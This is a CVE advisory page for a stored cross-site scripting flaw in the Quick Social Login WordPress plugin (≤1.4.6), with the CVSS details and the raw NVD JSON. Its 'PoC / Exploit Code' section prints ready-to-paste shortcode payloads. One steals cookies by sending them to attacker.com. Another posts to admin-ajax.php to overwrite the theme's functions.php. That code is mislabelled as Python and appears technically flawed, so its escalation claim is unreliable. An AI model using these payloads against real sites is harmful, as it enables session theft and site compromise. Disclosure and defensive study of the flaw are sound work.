Security Vulnerability Report
中文
CVE-2025-10140 CVSS 6.4 MEDIUM

CVE-2025-10140

Published: 2025-10-15 09:15:38
Last Modified: 2026-04-15 00:35:42

Description

The Quick Social Login plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'quick-login' shortcode in all versions up to, and including, 1.4.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Quick Social Login <= 1.4.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Stored XSS PoC for CVE-2025-10140 --> <!-- Exploit via 'quick-login' shortcode attribute injection --> <!-- Requires Contributor-level authenticated access --> [quick-login provider="facebook" label="<script>alert(document.cookie)</script>"] <!-- Alternative payload for cookie stealing --> [quick-login provider="google" label="<img src=x onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\">"] <!-- Payload for privilege escalation / admin compromise --> [quick-login provider="twitter" label="<script>var x=new XMLHttpRequest();x.open('POST','/wp-admin/admin-ajax.php',true);x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');x.send('action=edit-theme-plugin-file&file=functions.php&newcontent='+encodeURIComponent('<?php wp_set_current_user(1); ?>'));</script>"]

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10140", "sourceIdentifier": "[email protected]", "published": "2025-10-15T09:15:38.077", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Quick Social Login plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'quick-login' shortcode in all versions up to, and including, 1.4.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/quick-login/trunk/src/Buttons.php#L85", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/quick-login", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/aabf1911-5c6f-4486-a750-d5c95f5815ba?source=cve", "source": "[email protected]"}]}}